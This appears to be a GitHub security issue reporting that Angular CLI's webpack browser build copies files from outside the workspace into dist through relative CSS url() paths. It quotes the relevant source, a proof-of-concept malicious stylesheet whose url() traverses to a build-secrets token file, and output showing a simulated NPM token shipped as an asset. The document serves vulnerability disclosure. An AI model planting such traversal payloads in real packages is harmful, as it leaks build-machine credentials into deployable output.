Skip to content

Angular CLI webpack browser builds copy external local files into dist via CSS url() #33073

@foxllb

Description

@foxllb

Command

build

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

Report description

Angular CLI webpack browser builds copy external local files into dist via CSS url()

The problem

Please describe the technical details of the vulnerability

1. technical details

Angular CLI's webpack browser build pipeline registers PostcssCliResources for stylesheet processing:

plugins: [
  PostcssCliResources({
    baseHref: buildOptions.baseHref,
    deployUrl: buildOptions.deployUrl,
    resourcesOutputPath: buildOptions.resourcesOutputPath,
    loader,
    filename: assetNameTemplate,
    emitFile: buildOptions.platform !== 'server',
    extracted,
  }),
  ...extraPostcssPlugins,
  autoprefixer({

The same PostCSS resource handler is applied to the stylesheet loaders used by browser builds:

const globalStyleLoaders: RuleSetUseItem[] = [
  {
    loader: MiniCssExtractPlugin.loader,
  },
  {
    loader: require.resolve('css-loader'),
    options: {
      url: false,
      sourceMap: !!cssSourceMap,
      importLoaders: 1,
    },
  },
  {
    loader: postCssLoaderPath,
    options: {
      implementation: postCss,
      postcssOptions: postcssOptionsCreator(false, true),
      sourceMap: !!cssSourceMap,
    },
  },
];

Inside PostcssCliResources, a relative url(...) is parsed, resolved on disk, read, and emitted into the output:

const { pathname, hash, search } = url.parse(inputUrl.replace(/\\/g, '/'));
const result = await resolve(pathname as string, context, resolver);

return new Promise<string>((resolve, reject) => {
  loader.fs.readFile(result, (err, content) => {
    if (err) {
      reject(err);
      return;
    }

    let outputPath = interpolateName(
      { resourcePath: result } as Parameters<typeof interpolateName>[0],
      filename(result),
      {
        content,
        context: loader.context || loader.rootContext,
      },
    ).replace(/\\|\//g, '-');

    loader.addDependency(result);
    if (emitFile) {
      loader.emitFile(outputPath, content!, undefined, { sourceFilename: result });
    }

There is no check that the resolved file stays inside the Angular workspace or project root. As a result, a stylesheet can use a relative url(...) that escapes the workspace and points to an arbitrary readable local file. The file content is then copied into the browser build output as an emitted asset.

2. vulnerability reproduction

The attached PoC uses a realistic supply-chain style setup based on the current
local angular-cli repository code:

  • it builds local package tarballs from the current worktree
  • it creates a disposable Angular workspace that consumes those local tarballs
  • the victim app imports a third-party stylesheet package
  • that package contains a malicious relative url(...)

Application stylesheet:

/* Realistic entry: the app imports a third-party theme package. */
@import 'brand-ui/dist/theme.css';

Malicious package stylesheet:

.release-banner {
  background-image: url(../../../../build-secrets/release-token.txt);
  background-repeat: no-repeat;
  min-height: 2rem;
  padding: 0.5rem;
}

The PoC is executed with:

cd ./work/angular-cli/webpack_css_test
./run-poc.sh

Observed result:

Victim app stylesheet import:
@import 'brand-ui/dist/theme.css';

Generated stylesheet evidence:
5:  background-image: url('release-token.txt');

Leaked file in dist:
runtime/oss-docs-site/dist/oss-docs-site/release-token.txt

The generated stylesheet confirms that the escaping path was turned into a shipped asset reference:

.release-banner {
  background-image: url('release-token.txt');
  background-repeat: no-repeat;
}

The emitted file contains the local data read during the build:

# Simulated CI secret stored outside the Angular workspace
NPM_TOKEN=demo-release-token-should-never-ship
INTERNAL_REGISTRY=https://registry.example.internal/npm

This PoC intentionally does not include a control case. It demonstrates the
realistic impact path only: a successful webpack browser build that ships a
readable local file from outside the workspace into dist/.

Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so

An attacker who can introduce a malicious stylesheet dependency, or otherwise cause an Angular project to build attacker-controlled CSS with the webpack browser builder, can exploit this issue.

Successful exploitation lets the attacker copy readable local files from the build machine into the generated frontend artifacts. In practice, this exposes sensitive local files such as tokens or internal configuration files by embedding them into deployable static output.

webpack_css_test.tar.gz

Minimal Reproduction

webpack_css_test.tar.gz

Exception or Error


Your Environment

latest code

Anything else relevant?

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions